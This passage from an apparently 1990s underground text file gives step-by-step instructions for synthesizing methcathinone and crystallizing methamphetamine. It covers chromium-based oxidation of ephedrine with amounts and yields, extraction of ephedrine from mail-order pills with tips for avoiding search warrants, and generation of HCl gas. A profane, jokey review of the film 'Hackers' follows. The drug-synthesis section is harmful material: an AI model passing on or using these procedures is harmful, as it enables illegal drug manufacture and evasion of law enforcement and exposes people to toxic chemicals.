| made by reducing ephedrine. |
|
|
| The high produced by methcathinone is in many ways similar to |
| methamphetamine. For something so easily made and purified, it is |
| actually quite enjoyable. the main differences between the meth high and |
| the methcathinone high are length of action and body fell. With |
| methcathinone, one can expect to still get to sleep about 8 hours after a |
| large dose. On the down side, it definitely gives me the impression that |
| the substance raises the blood pressure quite markedly. This drug may not |
| be safe for people with weak hearts of blood vessels. Be warned! |
|
|
| Cat is best made using chrome in the +6 oxidation state as the |
| oxidizer. I recall seeing an article in the narco swine's Journal of |
| Forensic Science bragging about how they worked out a method for making it |
| using permanganate, but that method gives an impure product in low yields. |
| Any of the common hexavalent chrome salts can be used as the oxidizer in |
| this reaction. This list include chrome trioxide (CrO3), sodium or |
| potassium chromate (Na2CrO4), and sodium or potassium dichromate |
| (Na2Cr2O7). All of these chemicals are very common. Chrome trioxide is |
| used in great quantities in chrome plating. The chromates are used in |
| tanning and leather making. |
|
|
| To make methcathinone, the chemist starts with the water extract of |
| ephedrine pills. The concentration of the reactants in this case is not |
| critically important, so it is most convenient to use the water extract of |
| the pills directly after filtering without any boiling away of the water. |
| See the section at the beginning of Chapter 15 [I included this at the end |
| of the file] on extracting ephedrine form pills. Both ephedrine |
| hydrochloride and sulfate can be used in this reaction. |
|
|
| The water extract of 1000 ephedrine pills is placed into any |
| convenient glass container. A large measuring cup is probably best since |
| it has a pouring lip. Next, 75 grams of any of the above mentioned +6 |
| chrome compounds are added. They dissolve quite easily to form a reddish |
| or orange colored solution. Finally, concentrated sulfuric acid is added. |
| If CrO3 is being used, 21 mL is enough for the job. If one of the |
| chromates is being used, 42 mL is called for. These ingredients are |
| thoroughly mixed together, and allowed to sit for several hours with |
| occasional stirring. |
|
|
| After several hours have passed, lye solution is added to the batch |
| until it is strongly basic. Very strong stirring accompanies this process |
| to ensure that the cat is converted to the free base. Next, the batch is |
| poured into a sep funnel, and a couple hundred mLs of toluene is added. |
| Vigorous shaking, as usual, extracts the cat into the toluene layer. It |
| should be clear to pale yellow in color. The water layer should be orange |
| mixed with green. The green may settle out as a heavy sludge. The water |
| layer is thrown away, and the toluene layer containing the cat is washed |
| once with water, then poured into a beaker. Dry HCl gas is passed through |
| the toluene as described in Chapter 5 [I included this at the end of the file] |
| to get white crystals of cat. The yield is between 15 and 20 |
| grams. This reaction is scaled up quite easily. |
|
|
|
|
| CHAPTER 15 (part of it anyway) |
|
|
| P R O C E D U R E F O R O B T A I N I N G P U R E E P H E D R I N E |
| F R O M S T I M U L A N T P I L L S |
|
|
| In the present chemical supply environment, the best routes for making |
| meth start with ephedrine as the raw material. To use these routes, a |
| serious hurdle must first be overcome. This hurdle is the fact that the |
| most easily obtained source of ephedrine, the so-called stimulant or |
| bronchodilator pills available cheaply by mail order, are a far cry from |
| the pure starting material a quality minded chemist craves. Luckily, |
| there is a simple and very low profile method for separating the fillers |
| in these pills from the desired active ingredient they contain. |
|
|
| A superficial paging through many popular magazines[New Body is where |
| I found it at GNC] reveals them to be brim full of ads |
| from mail order outfits offering for sale "stimulant" or "bronchodilator" |
| pills. These are the raw materials today's clandestine operator requires |
| to manufacture meth without detection. The crank maker can hide amongst |
| the huge herd of people who order these pills for the irritating and |
| nauseating high that can be had by eating them as is. I have heard of a |
| few cases where search warrants were obtained against people who ordered |
| very large numbers of these pills, but I would think that orders of up to |
| a few thousand pills would pass unnoticed. If larger numbers are |
| required, maybe one's friends could join in the effort. |
|
|
| The first thing one notices when scanning these ads is the large |
| variety of pills offered for sale. When one's purpose is to convert them |
| into methamphetamine, it is very easy to eliminate most of the pills |
| offered for sale. Colored pills are automatically rejected because one |
| does not want the coloring to be carried into the product. Similarly, |
| capsules are rejected because individually cutting open capsules is just |
| too much work. Bulky pills are to be avoided because they contain too much |
| filler. The correct choice is white cross thins, preferably containing |
| ephedrine HCl instead of sulfate, because the HCl salt can be used in more |
| of the reduction routes than can the sulfate. |
|
|
| Once the desired supply of pills is in hand, the first thing which |
| should be done is to weigh them. This will give the manufacturer an idea |
| of how much of the pills is filler, and how much is active ingredient. |
| Since each pill contains 25 milligrams of ephedrine HCl, a 1000 lot bottle |
| contains 25 grams of active ingredient. A good brand of white cross thins |
| will be around 33% to 40% active ingredient. 25 grams of ephedrine HCl |
| may not sound like much, but if it is all recovered from these pills, it |
| is enough to make from 1/2 to 3/4 ounce of pure meth. This is worth three |
| or four thousand dollars, not a bad return on the twenty odd dollars a |
| thousand lot of such pills costs. [I don't know where he got 3 or 4 |
| thousand dollars from, but the pills go for about $35.00/1000 now. 2 |
| months ago they were $25.00 but now they have to do more paper work |
| because it is a DEA controlled substance] |
|
|
| To extract the ephedrine from the pills, the first thing which must be |
| done is to grind them into a fine powder. This pulverization must be |
| thorough in order to ensure complete extraction of the ephedrine form the |
| filler matrix in which it is bound. A blender does a fine job of this |
| procedure, as will certain brands of home coffee grinders. |
|
|
| Next, the powder from 1000 pills is put into a glass beaker, or other |
| similar container having a pouring lip, and about 300 mL of distilled |
| water is added. Gentle heat is then applied to the beaker, as for example |
| on a stove burner, and with steady stirring the contents of the beaker are |
| slowly brought up to a gentle boil. It is necessary to stir constantly |
| because of the fillers will settle to the bottom of the beaker and cause |
| burning if not steadily stirred. |
|
|
| Once the contents of the beaker have been brought to a boil, it is |
| removed from the heat and allowed to settle. Then the water is poured out |
| of the beaker through a piece of filter paper. The filtered water should |
| be absolutely clear. Next, another 50 mL of water is added to the pill |
| filler sludge, and it too is heated with stirring. Finally, the pill |
| sludge is poured into the filter, and the water it contains is allowed to |
| filter through. It too should be absolutely clear, and should be mixed in |
| with the first extract. A little water may be poured over the top of the |
| filler sludge to get the last of the ephedrine out of it. This sludge |
| should be nearly tasteless, and gritty in texture. The water extract |
| should taste very bitter, as it contains the ephedrine. |
|
|
| The filtered water is now returned to the stove burner, and half of |
| the water it contains is gently boiled away. Once this much water has |
| been boiled off, precautions should be taken to avoid burning the |
| ephedrine. The best alternative is to evaporate the water off under a |
| vacuum. If this is not practical with the equipment on hand, the water |
| may be poured into a glass baking dish. This dish is then put into the |
| oven with the door cracked open, and the lowest heat applied. In no time |
| at all, dry crystals of ephedrine HCl can be scraped out of the baking |
| dish with a razor blade. The serious kitchen experimenter may wish to |
| further dry them in a microwave. |
|
|
| Chapter 5 (The part about the HCl gas) |
|
|
| A source of anhydrous hydrogen chloride gas is now needed. The |
| chemist will generate his own. The glassware is set up as in Figure 1. |
| He will have to bend another piece of glass tubing to the shape shown. It |
| should start out about 18 inches long. One end of it should be pushed |
| through a one hole stopper. A 125 mL sep funnel is the best size. The |
| stoppers and joints must be tight, since pressure must develop inside this |
| flask to force the hydrogen chloride gas out through the tubing as it is |
| generated. |
|
|
| Into the 1000 mL, three-necked flask is placed 200 grams of table |
| salt. Then 25% concentrated hydrochloric acid is added to this flask until |
| it reaches the level shown in the figure. The hydrochloric acid must be |
| of laboratory grade [I use regular muriatic acid for pools]. |
|
|
| Figure 1: |
| \ / |
| \ /ķ |
| ֽ ӷ <--125 mL separatory funnel |
| |
| |
| ӷ ֽ |
| ķ Ľ glass tubing Ŀ |
| ӷ ֽ |
| ͻ |
| stopcock->ۺĴ Salt and Hydrochloric acid |
| stopper ->ķ \/з ķ <-1 hole mixed into a paste by add- |
| ĺ ĺ stopper ing HCL to salt and mixing. |
| Ľ Ľ Ľ ķ The surface should be rough |
| ֽ ӷ and a good number of holes |
| should be poked into the |
| 1000 mL, 3 neck flask paste for long lasting |
| generation of HCl gas. |
| ӷ acid/salt level ֽ |
| ķ Ľ |
| ķ Ľ |
| ķ Ľ |
| Ľ |
|
|
|
|
| Some concentrated sulfuric acid (96-98%) is put into the sep funnel |
| and the spigot turned so that 1 mL of concentrated sulfuric acid flows |
| into the flask. It dehydrates the hydrochloric acid and produces hydrogen |
| chloride gas. This gas is then forced by pressure through the glass |
| tubing. |
|
|
| One of the Erlenmeyer flasks containing methamphetamine in solvent is |
| placed so that the glass tubing extends into the methamphetamine, almost |
| reaching the bottom of the flask. Dripping in more sulfuric acid as |
| needed keeps the flow of gas going to the methamphetamine. If the flow if |
| gas is not maintained, the methamphetamine may solidify inside the glass |
| tubing, plugging it up. |
|
|
| Within a minute of bubbling, white crystals begin to appear in the |
| solution, More and more of them appear as the process continues. It is an |
| awe-inspiring sight. In a few minutes, the solution becomes as thick as |
| watery oatmeal. |
|
|
| It is now time to filter out the crystals, which is a two man job. |
| The flask with the crystals in it is removed from the HCl source and |
| temporarily set aside. The three-necked flask is swirled a little to |
| spread around the sulfuric acid and then the other Erlenmeyer flask is |
| subjected to a bubbling with HCl. While this flask is being bubbled, the |
| crystals already in the other flask are filtered out. |
|
|
| The filtering flask and Buchner funnel are set up as shown in figure |
| 2. The drain stem of the buchner funnel extends all the way through the |
| rubber stopper, because methamphetamine has a nasty tendency to dissolve |
| rubber stoppers. This would color the product black. A piece of filter |
| paper covers the flat bottom of the Buchner funnel. The vacuum is turned |
| on and the hose attached to the vacuum nipple. Then the crystals are |
| poured into the Buchner funnel. The solvent and uncrystallized |
| methamphetamine pass through the filter paper and the crystals stay in the |
| Buchner funnel as a solid cake. About 15 mL of solvent is poured into the |
| Erlenmeyer flask. the top of the flask is covered with the palm and it is |
| shaken to suspend the crystals left clinging to the sides. This is also |
| poured into the Buchner funnel. Finally, another 15 mL of solvent is |
| poured over the top of the filter cake. |
|
|
|
|
| Figure 2: |
| Ŀ |
| <-Bchner Funnel |
| ___________ |
| \ / |
| \ / |
| \ / |
| Ŀ |
| <--To vacuum |
| Ŀ |
| |
| |
| Ŀ |
| Filtering |
| flask--> |
| |
| |
|
|
|
|
| Now the vacuum hose is disconnected and the Buchner funnel, stopper |
| and all, is pulled from the filtering flask. All of the filtered solvent |
| is poured back into the erlenmeyer flask it came from. It is returned to |
| the HCl source for more bubbling. The Buchner funnel is put back into the |
| top of the filtering flask. It still contains the filter cake of |
| methamphetamine crystals. It will now be dried out a little bit. The |
| vacuum is turned back on, the vacuum hose is attached to the filtering |
| flask, and the top of the Buchner funnel is covered with the palm or |
| section of latex rubber glove. The vacuum builds and removes most of the |
| solvent from the filter cake. This takes about 60 seconds. The filter |
| cake can now be dumped out onto a glass or China plate (not plastic) by |
| tipping the Buchner funnel upside-down and tapping it gently on the plate. |
|
|
| And so, the filtering process continues, one flask being filtered |
| while the other one is being bubbled with HCl. Solvent is added to the |
| Erlenmeyer flask to keep their volumes at 300 mL. Eventually, after each |
| flask has been bubbled for about seven times, no more crystal will come |
| out and the underground chemist is finished. |
|
|
| If ether was used as the solvent, the filter cakes on the plates will |
| be nearly dry now. With a knife from the silverware drawer, the cakes are |
| cut into eighths. They are allowed to dry out some more then chopped up |
| into powder. If benzene was used, this process takes longer. Heat lamps |
| may be used to speed up this drying, but no stronger heat source. |
|
|
| [The above section of chapter 5 is talking about methamphetamine. You |
| could, in most instances, substitute the word methcathinone, but I wanted |
| to present the text to you in its exact form.] |
|
|
|
|
| ------------------------------------------------------------------------------ |
|
|
|
|
| Review of "HACKERS" |
|
|
| By Wile Coyote |
|
|
| Sorry, it might be a little long... cut it to ribbons if you want, most |
| of it is just a rant anyway... Hope you enjoy it. |
|
|
| First off, I have to admit that I was biased going into the movie |
| "Hackers"... I heard that it wasn't going to be up to snuff, but did I |
| let that stop me? No, of course not... I sucked up enough courage to |
| stride towards my girlfriend and beg for seven bucks... :) She ended up |
| wanting to see the movie herself (and sadly, she rather enjoyed it... |
| oh, well, what can you do with the computer illiterate or is it the |
| computer illegitimate?). Now onto.... |
|
|
| THE MOVIE |
|
|
| (Yes, I AM going to give you a second-by-second playback of the |
| movie... you don't want me to spoil the plot, you say? Well, don't |
| worry, there is no plot to spoil! :) just kidding, go see it... maybe |
| you'll like it...) |
| |
| Well, from the very first few seconds, I was unimpressed... It begins |
| with an FBI raid on some unsuspecting loose (who turns out to be the |
| main character, but that's later) named Zero Cool (can you say "EL1EEEEET |
| WaReZ D00D!!!!!!!1!!!!!111!!!!"). The cinematography was bad... (Hey, |
| cinematography counts!) But, the acting was worse. The Feds bust into |
| this home and run up the stairs, all while this lady (the mom) just kind |
| of looks on dumbfounded and keeps saying stuff like "hey, stop that...", |
| or something (is this what a raid is like? I've never had the pleasure...) |
|
|
| Ok, so the story goes on like this: The 11 year old kid made a computer |
| virus that he uploads to, I think, the NY stock exchange, and it crashes |
| 1,507 computers. There is a really lame court scene where the kid is |
| sentenced to 7 years probation where he can't use a computer or a |
| touch-tone phone... That was 1988... |
|
|
| Time passes... Now it's 1995, and boy have things changed (except the |
| mom... hmmm....). Now the ex-hacker is allowed to use a computer (his |
| 18th b-day) and (somehow) he is just a natural at hacking, and is (gold?) |
| boxing some TV station to change the program on television (yes, I know |
| that all of you super-el33t hackers hack into TV stations when you don't |
| like what's on Ricki Lake!). N-e-way, while hacking into their |
| super-funky system (the screen just kind of has numbers moving up and |
| down the screen like some kind of hex-editor on acid...) |
| he gets into a "hacking battle" with some other hacker called Acid Burn |
| (I don't think I have ever seen such a trippy view of the "Internet"... |
| lots of Very high-end graphics, not very realistic, but it's Hollywood...). |
| In the end, the other hacker kicks the shit out of him (he has changed |
| his handle to Crash Override now, just to be cool, i guess) and logs him |
| off the TV station. Wow, tense... cough... |
|
|
| For those of you who care, let me describe the "hacker" Crash Override: |
| He is definitely super-funky-coole-mo-d-el31t-to-the-max, 'cause he is |
| (kinda) built, and wears VERY wicky (wicky : <adjective> weird plus wacky) |
| clothes, and the CDC might have quite a bit to say about the amount of |
| leather he wears... I mean, there are limits to that kind of stuff, man! |
| And to top off his coolness, he is, like, the roller-blade king of the |
| world. (Not that hackers don't roller-blade, but he does it just Soooo |
| much cooler than I could... :) ). And yet, here's the nifty part, |
| despite all of his deft coolness, he couldn't get a girl for the life |
| of him (we all morn for him in silent prayer). |
|
|
| Ok, so now Crash is at school, and he meets Wonderchick (who is |
| EXACTLYFUCKINGLIKEHIM, and is , of course, an 3L31t hackerette... ok, she |
| is Acid Burn, the bitch who "kicked" him out of the TV station, sorry to |
| spoil the suspense). |
|
|
| Now, while at school, he wants to hook up with wonderchick, so he breaks |
| into the school's computer (it must be a fucking Cray to support all of |
| the high-end-type graphics that this dude is pulling up) and gets his |
| English(?) class changed to hers. So, some other super-d00dcool hacker |
| spots him playing around with the schools computer (it's funny how may |
| elite hackers one can meet in a new york public school...), so he |
| catches up with Crash and invites you to an elite (Oh, if you ever want |
| to see a movie where the word 3l333333333t is used, like a fucking |
| million times, then go see Hackers...) hackerz-only club, complete with |
| million-dollar virtual-reality crap and even a token phreaker trying to |
| red-box a pay-phone with a cassette recorder (never mind that the music is |
| about 197 decibels, the phone can still pick up the box tones...). |
|
|
| What follows is that Crash meets up with some seriously k-rad hackers |
| (Cereal Killer : reminds you of Mork & Mindy meets Dazed and Confused; and |
| Phantom Phreak : who reminds of that gay kid on "my so called life... |
| maybe that was him?";Lord Nikon : the token black hacker... Photographic |
| memory is his super-power). They talk about k00l pseudo-hacker shit and |
| then a l00ser warez-type guy comes up and tries to be El33t like everybody |
| else. He is just about the ONLY realistic character in the whole movie. |
| He acts JUST like a wannabe "Hiya D00dz, kan eye b k0ewl too?". He keeps |
| saying "I need a handle, then I'll be el33t!". (Why he can't just pick |
| his own handle, like The Avenging Turd or something, is beyond me... He |
| plays lamer better than the kids in Might Morphin Power Rangers... awesome |
| actor!). N-e-way, this is where the major discrepancies start. Ok, |
| first they try to "test" Lamerboy by asking him what the four most used |
| passwords are. According to the movie, they are "love, sex, god, and |
| secret". (Hmmmm.... I thought Unix required a 6-8 char. password....). |
| Somehow lamerboy got into a bank and screwed with an ATM machine four |
| states away; all of the hacker chastise him for being stupid and hacking |
| at home (If you watch the movie, you'll notice that the hackers use just |
| about every pay-phone in the city to do their hacking, no, THAT doesn't |
| look suspicious)Next they talk about "hacking a Gibson". |
| (I was informed that they WANTED to use "hacking a Cray", |
| but the Cray people decided that they didn't want THAT kind of publicity. |
| I've never heard of a Gibson in real life, though...). |
| They talk about how k-powerful the security is on a Gibson, and they say |
| that if Lamerboy can crack one, then he gets to be elite. |
|
|
| Soooooooo.... As the movie Sloooowly progresses (with a lot of Crash |
| loves Wonderchick, Wonderchick hates Crash kind of stuff) Lamerboy |
| finally cracks a Gibson with the password God (never mind a Login name or |
| anything that cool). Then the cheese begins in full force. The Gibson |
| is like a total virtual-reality thingy. Complete with all sorts of cool |
| looking towers and neon lightning bolts and stuff. Lamerboy hacks into a |
| garbage file (did I mention that the entire world is populated by Macs? |
| Oh, I didn't... well, hold on :)...). So, this sets alarms off all |
| over the place (cause a top-secret file is hidden in the garbage, see?), |
| and the main bad-guy, security chief Weasel, heads out to catch him. He |
| plays around with some neon, star-trek-console, buttons for a while, |
| then calls the "feds" to put a trace on the kid. La de da, ess catches him |
| in a second, and the kid only gets half of the file, which he hides. |
| (to spoil the suspense, yet again, the file is some kind of money getting |
| program, like the kind some LOD members wrote about a long time ago in |
| Phrack, which pulls money from each transaction and puts it into |
| a different account. Needless to say, the Security Weasel is the guy who |
| wrote it, which is why he needs it back, pronto!). |
|
|
| As we travel along the movie, the hackers keep getting busted for tapping |
| into the Gibson, and they keep getting away. The "action" heats up when |
| Wonderchick and Crash get into a tiff and they decide to have a hacking |
| contest... They go all over the city trying their best to fuck with |
| the one fed they don't like.... Brilliant move, eh? The movie kind of |
| reaches a lull when, at a party at Wonderchick's house, they see a k-rad laptop. |
| They all fondle over the machine with the same intensity that Captain Kirk |
| gave to fighting Klingons, and frankly, their acting abilities seems |
| to ask "please deposit thirty-five cents for the next three minutes". |
| It was funny listening to the actors, 'cause they didn't know shit about |
| what they were saying... Here's a clip: |
|
|
| Hey, cool, it's got a 28.8 bps modem! (Yep, a 28.8 bit modem... Not |
| Kbps, mind you :)...I wonder where they designed a .8 of a bit?) |
|
|
| Yeah! Cool... Hey what kind of chip does it have in it? |
|
|
| A P6! Three times faster than a Pentium.... Yep, RISC is the wave of |
| the future... (I laughed so hard..... Ok, first of all, it is a Mac. |
| Trust me, it has the little apple on the cover. Second it has a P6, what |
| server she ripped this out of, I dare not ask. How she got that |
| bastard into a laptop without causing the casing to begin melting is |
| yet another problem... those get very hot, i just read about them |
| in PC magazine (wow, I must be elite too). Finally, this is a *magic* P6, |
| because it has RISC coding.... |
|
|
| I kinda wished I had stayed for the credits to see the line: |
|
|
| Technical advisor None.... died on route to work...) |
|
|
| Finally they ask something about the screen, and they find out it is |
| an..... hold your breath.... ACTIVE MATRIX! ... Kick ass! |
|
|
| They do lots of nifty things with their magic laptops (I noticed that they |
| ALL had laptops, and they were ALL Macintoshes. Now, I'm not one to say |
| you can't hack on a mac, 'cause really you can hack on a TI-81 if you've |
| got the know.... but please, not EVERYONE in the fucking movie |
| has to have the exact same computer (different colors, though... there |
| was a really cool clear one).... it got really sad at the end), and they |
| finally find out what the garbage file that Lamerboy stole was, this time |
| using a hex editor/CAD program of some sort. |
|
|
| As we reach the end of the movie, the hackers enlist the help of two very |
| strangely painted phone phreaks who give the advice to the hackers to send |
| a message to all of the hackers on the 'net, and together, they all |
| kicked some serious ass with the super-nifty-virtual-reality Gibson. |
|
|
| In the end, all of the Hackers get caught except for one, who pirates all |
| of the TV station in the world and gives the police the "real" story... |
| So, the police politely let them go, no need for actually proving that the |
| evidence was real or anything, of course. |
|
|
| So, in the end, I had to say that the movie was very lacking. It seemed |
| to be more of a Hollywood-type flashy movie, than an actual documentary |
| about hackers. Yes, I know an ACTUAL movie about hacker would suck, but |
| PLEASE, just a LITTLE bit of reality helps keep the movie grounded. It |
| may have sucked less if they didn't put flashing, 64 million color, |
| fully-rendered, magically delicious pictures floating all over the screen |
| instead of just a simple "# " prompt at the bottom. With all of the |
| super-easy access to all of the worlds computers, as depicted in the movie, |
| ANYBODY can be a hacker, regardless of knowledge, commitment, or just |
| plain common sense. And that's what really made it suck... |
|
|
| Hope you enjoyed my review of HACKERS! |
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